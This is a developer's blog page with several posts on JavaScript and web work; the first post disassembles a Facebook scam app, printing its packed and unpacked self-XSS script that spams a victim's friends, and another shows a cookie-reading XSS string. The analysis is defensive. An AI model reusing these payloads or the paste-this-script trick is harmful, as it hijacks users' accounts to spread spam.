Ian Lewis
Ian Lewis is a web developer living in Tokyo Japan. His current interests are in Django, python, alternative databases and rapid web application development. About Me...
  • Shady Harvard Puzzle Facebook App Disassembled

    Today I got an email from a friend on Facebook that suggested that I try out this application called "Only 4% of harvard grads can solve this riddle..". Being curious I took a look at it.

    The app starts out innocently enough, posing a riddle that supposedly only 4% of Harvard grads can guess.

    http://farm5.static.flickr.com/4062/4554647376_5a38c707a8.jpg

    But in order to see the answer it asks you to type "Ctrl-C" to copy some javascript, "Alt-D" to select your address bar, and "Ctrl-V Enter" to run the javascript.

    Here is the beautified packed javascript.

    javascript: (function () {
        a = 'app112010525500764_jop';
        b = 'app112010525500764_jode';
        ifc = 'app112010525500764_ifc';
        ifo = 'app112010525500764_ifo';
        mw = 'app112010525500764_mwrapper';
        eval(function (p, a, c, k, e, r) {
            e = function (c) {
                return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
            };
            if (!''.replace(/^/, String)) {
                while (c--) r[e(c)] = k[c] || e(c);
                k = [function (e) {
                    return r[e]
                }];
                e = function () {
                    return '\\w+'
                };
                c = 1
            };
            while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
            return p
        }('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);', 62, 69, '||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'), 0, {}))
    })();
    

    Here we have some javascript code that is packed. The above code unpacks the packed code and evals it. I replaced the above eval with console.log and ran the code to output the packed code. Here it is beautified.

    d = document;
    d['getElementById'](mw)['style']['visibility'] = 'hidden';
    d['getElementById'](a)['innerHTML'] = d['getElementById'](b)['value'];
    s = d['getElementById']('suggest');
    m = d['getElementById']('likeme');
    c = d['createEvent']('MouseEvents');
    c['initEvent']('click', true, true);
    s['dispatchEvent'](c);
    setTimeout(function () {
        fs['select_all']()
    }, 5000);
    setTimeout(function () {
        SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
    }, 5000);
    setTimeout(function () {
        m['dispatchEvent'](c);
        d['getElementById'](ifo)['innerHTML'] = d['getElementById'](ifc)['value']
    }, 5000);
    

    Lets go though the code above step by step.

    d['getElementById'](mw)['style']['visibility'] = 'hidden';
    

    This code hides the application's main block.

    d['getElementById'](a)['innerHTML'] = d['getElementById'](b)['value'];
    

    The contents of the textarea at id b ('app112010525500764_jode') is html for a dialog to suggest the application to your friends. The code inserts it into a block on the page.

    <textarea id="app112010525500764_jode" style="display: none;" fbcontext="86d477030eb0">
      <div class="suggestdiv">
        <a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=112049325499228" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>
      </div>
      <div class="likemediv">
        <a ajaxify="/ajax/pages/fan_status.php?fbpage_id=112049325499228&add=1&reload=0&preserve_tab=1&use_primer=1" id="likeme" rel="async-post" class="UIButton UIButton_Gray UIButton_CustomIcon UIActionButton" href="#">
        <span class="UIButton_Text"><i class="UIButton_Icon img spritemap_icons sx_icons_like"></i>Like</span></a>
      </div>
    </textarea>
    

    The next code sets up a mouse click event and selects some elements from the suggest box.

    s = d['getElementById']('suggest');
    m = d['getElementById']('likeme');
    c = d['createEvent']('MouseEvents');
    c['initEvent']('click', true, true);
    s['dispatchEvent'](c);
    

    The code below is the shady part. It sets 5 second timers that will click items on the suggestion box, effectively selecting all of your friends and suggesting the application to them. It then likes the application.

    setTimeout(function () {
        fs['select_all']()
    }, 5000);
    setTimeout(function () {
        SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
    }, 5000);
    setTimeout(function () {
        m['dispatchEvent'](c);
        d['getElementById'](ifo)['innerHTML'] = d['getElementById'](ifc)['value']
    }, 5000);
    

    As of this writing 543 people had liked the application which I take to mean that 543 people followed the instructions on the application. The application itself doesn't do anything particularly bad besides spam all of your friends so I took it to be a security research application. Anyone else have a better take on it?

    Send feedback   このエントリーを含むはてなブックマーク はてなブックマーク - Shady Harvard Puzzle Facebook App Disassembled
  • Smipple embeddable snippets

    Today I released a feature on Smipple that allows you to embed snippets in blog posts and web pages. It uses javascript's document.write() to embed the html into the webpage. It looks like the snippet below.

    Enjoy!

    Send feedback   このエントリーを含むはてなブックマーク はてなブックマーク - Smipple embeddable snippets
  • IE, JSON, and the script tag

    My coworker recently introduced me to one of the most blatantly bad behaviors in web browser history. He introduced it thus:

    Out[1]: simplejson.dumps({'foo': '<script>alert(document.cookie);</script>'})
    Out[2]: '{"foo": "<script>alert(document.cookie);</script>"}'

    The thing is, that there is nothing wrong with what simplejson is doing. The problem is that this little piece of json is not handled properly in IE and IE actually executes the javascript in the script tag regardless of the fact that it's inside a string. This can leave an application wide open to XSS attacks. IE seems to do this for at least the text/plain mime-type.

    Send feedback   このエントリーを含むはてなブックマーク はてなブックマーク - IE, JSON, and the script tag
  • jQuery Multi-Pageslide

    Earlier this week I came across the jQuery Pageslide plugin via Ajaxian and was impressed with the design. I set about using it to display help messages to the user for a site I am working on.

    It worked well and all but I found that you can only have one pageslide per page. Say you want to have multiple links one one page that each invoke a page slide but with different settings. So I made some changes to the plugin to allow multiple pageslides per page. The demo includes a version of page slide that allows multiple pageslide links per page and allows them all to have their own individual settings. These all point to the same secondary page but could just as well point to different pages. Currently they all share the same css styles.

    I made it so that only one pageslide can be open at a time. Clicking on a pageslide link while a pageslide is already open will do nothing. I also included a way to close the currently open pageslide from javascript.

    View the source:
    demo.html
    jquery.pageslide-0.2.js

    Demo: demo.html

    Send feedback   このエントリーを含むはてなブックマーク はてなブックマーク - jQuery Multi-Pageslide
  • Ok/Cancel buttons with jqModal

    I recently quit using gwt and started using jQuery for a personal project of mine and I wanted to be able to show some modal dialog boxes using jQuery. As it turns out there is an easy to use plugin that does exactly this called jqModal. jqModal makes it simple to create modal dialogs by simply setting a css class on the tag you want to open the dialog and on the tag in the dialog that you want to close it.

    <a href="#" class="jqModal">view</a>
    ...
    <div class="jqmWindow" id="dialog">
    <p>This is my dialog.</p>
    <a href="#" class="jqmClose">Close</a>
    </div>
    <pre><code>
    $().ready(function() {
      $('#dialog').jqm();
    });
    </code></pre>

    That's easy but gives you a pretty minimalistic popup dialog. Any tag with the jqmClose class will simply close the dialog. What if you want to do something with OK and Cancel options? What if you want to do some fancy fade in/fade out no matter what happens? This tripped me up for a but much luckily only took about a few minutes to straiten out and test.

    <a href="#" class="jqModal">Update</a>
    ...
    <div class="jqmWindow" id="dialog">
    <p>I'm going to update. Is that ok?</p>
    <a href="#" class="dialogok">OK</a> <a href="#" class="jqmClose">Cancel</a>
    </div>
    $("#dialog #dialogok").bind("click",
      function() {
        /* Do your update logic here. */
        $('#dialog').jqmHide();
      }
    );
     
    var newFieldHide = function(hash) {
      hash.w.fadeOut('2000',function() { hash.o.remove(); });
    };
    var newFieldShow = function(hash) {
      hash.w.fadeIn("2000");
    };
    $("#dialog").jqm({onHide:newFieldHide, onShow:newFieldShow});

    So I'm basically closing the dialog manually in the OK case and closing it automatically using the jqmClose class in the Cancel case. In both cases the onHide trigger is called and fades out the dialog.

    Send feedback   このエントリーを含むはてなブックマーク はてなブックマーク - Ok/Cancel buttons with jqModal
  • Javascript Interpreter

    I wanted a convenient way to test out some javascript by running it in a browser and being able to play with it via an interpreter like python has. As it turns out the almighty Bob created a nice interpreter for playing around with Mochikit but I wanted something a bit more generic that would allow me to import any kind of javascript and play with it. It turns out this is really easy so I added one simple function to the interpreter.js file called importjs.

    You just call importjs like so

    importjs(url)

    This will import a javascript file from the url given. It's a very simple function that just adds a script tag to the document wrapped in div tag. You can load up the interpreter and type "importjs" to see the code.

    function (jssource) {
      importdiv = DIV();
      importdiv.innerHTML = "Importing " + jssource + " <script type='text/javascript' src='" + jssource + "'></script>";
      writeln(importdiv);
    }

    Check out the slightly modified interpreter here

    Send feedback   このエントリーを含むはてなブックマーク はてなブックマーク - Javascript Interpreter
  • Twitter Page Code

    Twitter

    I took a look at Twitter's code as an example of a site that gets lots of traffic and noticed a couple things.

    1. They use Amazon S3 to store images
    2. They split the javascript, favicons, and css up across 3 or 4 subdomains (assets0.twitter.com, assets2.twitter.com, etc.)
    3. They include prototype and a version of jQuery as well as a version of script.aculo.us.
      <script src="http://assets3.twitter.com/javascripts/prototype.js?1213829093" type="text/javascript"></script>
      <script src="http://assets1.twitter.com/javascripts/effects.js?1213829093" type="text/javascript"></script>

      <script src="http://assets0.twitter.com/javascripts/application.js?1213829093" type="text/javascript"></script>
      <script src="http://assets0.twitter.com/javascripts/jquery-1.2.3.min.js?1213829093" type="text/javascript"></script>

    It kind of surprised me that they include a version of prototype AND jQuery AND script.aculo.us since they aren't really light javascript files. Prototype comes in at 123kb, jQuery is 53kb, and script.aculo.us is 38kb. Seems to me that even with caching and all they could significantly reduce download traffic by sticking to one javascript library. I'm sure there is some wierd reason they do it though.

    Send feedback   このエントリーを含むはてなブックマーク はてなブックマーク - Twitter Page Code
  • Google Developer Day 2008

    Google Developer Day Japan 2008 is being held on June 10th at Google's offices in Shibuya and I've registered to attend this year. There were a number of sessions that people could take part in but I decided to register for a Google appengine hackathon. I'm pretty curious about appengine since I've been working at becoming more familiar with really newly evolving technologies and not necessarily ones that have been around a while. Newly evolving technologies is something I've always felt I've had to catch up on since starting programming in high school. Going to high school with folks like Bob Ippolito (Mochikit, simplejson) and Konrad Rokicki who started coding stuff when they were in early middle school didn't help my self esteem.

    Anyway, in the spirit of learning about Appengine I took a dive into the documentation and learned a few of appengines silly limitations but I came up with a simple application that utilizes the simple python library I created for prefix back in college. I put it up in my mercurial repository under prefix-appengine if you care to take a look.

    The main work is done in two handlers which are essentially the controller part of the MVC pattern. One simply renders the page as a template, which is really simple since there isn't any template code, and the other implements a simple rest API that I use for an AJAX call to evaluate an expression given by the user. Using JSON seemed like a waste since there was only one returned value.

    class PrefixHandler(webapp.RequestHandler):
        def get(self):
            self.response.out.write(template.render("main.tpl", {}))
       
        # def post(self):
        #     self.redirect('/')

    class EvalHandler(webapp.RequestHandler):
        def get(self):
            expression = self.request.get("exp")
            values = {}
            try:
                output = prefix.parser.parse(expression).evaluate()
                values = {
                    "value": output
                }
            except ValueError, arg:
                output = "ERROR: " + str(arg)
                values = {
                    "error": output
                }
            self.response.out.write(simplejson.dumps(values))

    The rest of the code is in the javascript which I just wrote strait into the template file because I was lazy. The javascript uses jquery to do an AJAX call when the button is pressed and update the HTML DOM.

    var lastvalue = "";

    $(document).ready(function() {
      $("#eval").click(function() {
        expression = $("#exp").val();
        $("#output").html("Loading..");
        uri = "eval?exp=";
        uri += encodeURIComponent(expression.replace("Ans", lastvalue));
        uri = uri.replace(/%20/g|>, '+');
        $.getJSON(uri,
          // Callback
          function (data) {
            output = "<font color='#FF0000'>ERROR: Invalid response from server</font>";
            if (data.value != null) {
              output = expression + " = <font color='#00FF00'>" + data.value + "</font>";
              lastvalue = data.value;
            } else {
              if (data.error &amp;&amp; data.error.length>0) {
                output = "<font color='#FF0000'>"+ data.error +"</font>";
              }
            }
            $("#output").html(output);
          }
        );
      });
    });
    Send feedback   このエントリーを含むはてなブックマーク はてなブックマーク - Google Developer Day 2008
  • Google Analytics for Mobile Sites

    I implemented tracking using Google Analytics for my company's mobile sites using a technique described by Peter van der Graff on his site. The technique involves performing a GET to to an image on Google's server and passing it a bunch of options. Incidentally this is because Javascript can perform gets of images but not gets for any other kinds of content (as an aside, this kind of protection seems usless since the server could return any kind of content in wants to the javascript even though the GET has an image in the url. Maybe someone could enlighten me).

    Peter originally came up with the idea because he wanted to track hits to a RSS xml url (which also seemed strange to me since the rss aggregator could read it as many times as it wants and doesn't give much insight into the number of readers, but I digress), or to another type of file download (image, pdf, etc) which wouldn't trigger the javascript that Google uses for Analytics.

    One important difference between his motives and mine were that I'm tracking hits to a mobile site. Doing analytics on the server side are important since most phones (in Japan at least) don't support javascript. I also, because of the differences in what I was doing, needed to make some changes to how his script worked. Since I'm not tracking downloads or rss hits, I care about things like sessions, language, and user agent (why Peter didn't also care about this I'm not sure).

    So I modified his code as follows. I forward the language and user agent of the client to Google Analytics so that I can track these things properly. I also pass my own cookie number so that Google Analytics can aggregate page hits from the same user into a session. I also make use of the user var to track hits to different customer's web pages. The example is in PHP but it could be easily translated into another language.

    Note that, because of the use of stream contexts, this code will require a version of PHP >= 4.3.0.

    $var_utmac=MOBILE_GOOGLE_ANALYTICS_CODE; //enter the new urchin code
    $var_utmhn=WEB_DOMAIN; //enter your domain
    $var_utmn=rand(1000000000,9999999999);//random request number
    $var_cookie=$session; //cookie number
    $var_random=rand(1000000000,2147483647); //number under 2147483647
    $var_today=time(); //today
    $var_referer=$_SERVER['HTTP_REFERER']; //referer url
    $var_uservar=$storeinfo['storeid']; //enter your own user defined variable
    $var_utmp=$_SERVER['REQUEST_URI']; // request uri

    $urchinUrl='http://www.google-analytics.com/__utm.gif?utmwv=1&utmn='.$var_utmn.'&utmsr=-&utmsc=-&utmul=-&utmje=0&utmfl=-&utmdt=-&utmhn='.$var_utmhn.'&utmr='.$var_referer.'&utmp='.$var_utmp.'&utmac='.$var_utmac.'&utmcc=__utma%3D'.$var_cookie.'.'.$var_random.'.'.$var_today.'.'.$var_today.'.'.$var_today.'.2%3B%2B__utmb%3D'.$var_cookie.'%3B%2B__utmc%3D'.$var_cookie.'%3B%2B__utmz%3D'.$var_cookie.'.'.$var_today.'.2.2.utmccn%3D(direct)%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)%3B%2B__utmv%3D'.$var_cookie.'.'.$var_uservar.'%3B';

    $header = '';

    //Set the language to that of the client so analytics can track it.
    if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
      $header = 'Accept-language: '.$_SERVER['HTTP_ACCEPT_LANGUAGE'].'\r\n';
    }
    //Set the user agent to that of the client so analytics can track it.
    if (!empty($_SERVER['HTTP_USER_AGENT'])) {
      $header = 'User-Agent: '.$_SERVER['HTTP_USER_AGENT'].'\r\n';
    }

    $opts = array(
      'http'=>array(
        'method'=>'GET',
        'header'=>$header
      )
    );

    $handle = fopen($urchinUrl, 'r', false, stream_context_create($opts));
    $test = fgets($handle);
    fclose($handle);
    Send feedback   このエントリーを含むはてなブックマーク はてなブックマーク - Google Analytics for Mobile Sites
  • MochiKit does makes java suck less

    So the last few days I've been playing around with MochiKit and working with Javascript. Until now I have done some Javascript here and there but not too much. MochiKit seems to make it a lot easier by providing you with lots of useful functions for things you do often. In fact it's so popular that I have a hard time explaining to myself why I hadn't tried to use it up until now. I'm certainly not on the bleeding edge here.

    Anyway, like I said, MochiKit makes JavaScript less painful. I have a little mockup for a page that defers going to the server until the user has stopped entering data for 3 seconds. That cuts down on a lot of back and forth between the server and client. It's easy in MochiKit. Just use the callLater function.

    update: function() {
      if (this.deferred) {
        this.deferred.cancel();
        log('Previous deferred cancelled.');
      }
     
      if (this.request) {
        this.request.cancel();
       log('Previous request cancelled.');
      }
     
      log('updated');
      this.deferred = callLater(3.0, bind(this.deferredupdate, this));
    }

    In this example the callLater is used to call another function, deferredupdate, after 3 seconds. However, if the user enters data a second time before the three seconds are up then the deferred object will be cancelled and a new deferred object will be created. This has the effect of not calling the update function until a user is really done entering data.

    The request object is created in the deferredupdate function.

    deferredupdate: function() {
      log('Loading document');
      this.deferred = null;
     
      this.request = loadJSONDoc('domains.json');
      this.request.addCallback(bind(this.pageupdate, this));
    }

    The deferredupdate function calls loadJSONDoc which creates a deferred object as well however this deferred object doesn't wait for any time it simply does it's work in a separate thread and executes a callback when it's done. In this case I set the callback to be the pageupdate function. The pageupdate function does the work of putting the resulting data into a table and adding that table to the html DOM.

    If you are wondering what the bind function does, it always ensures that the 'this' reference works. I'll leave the full explanation for another post.

    Most people who program in JavaScript already know about MochiKit but if you are interested in it check out the screencast at http://www.mochikit.com/

    Send feedback   このエントリーを含むはてなブックマーク はてなブックマーク - MochiKit does makes java suck less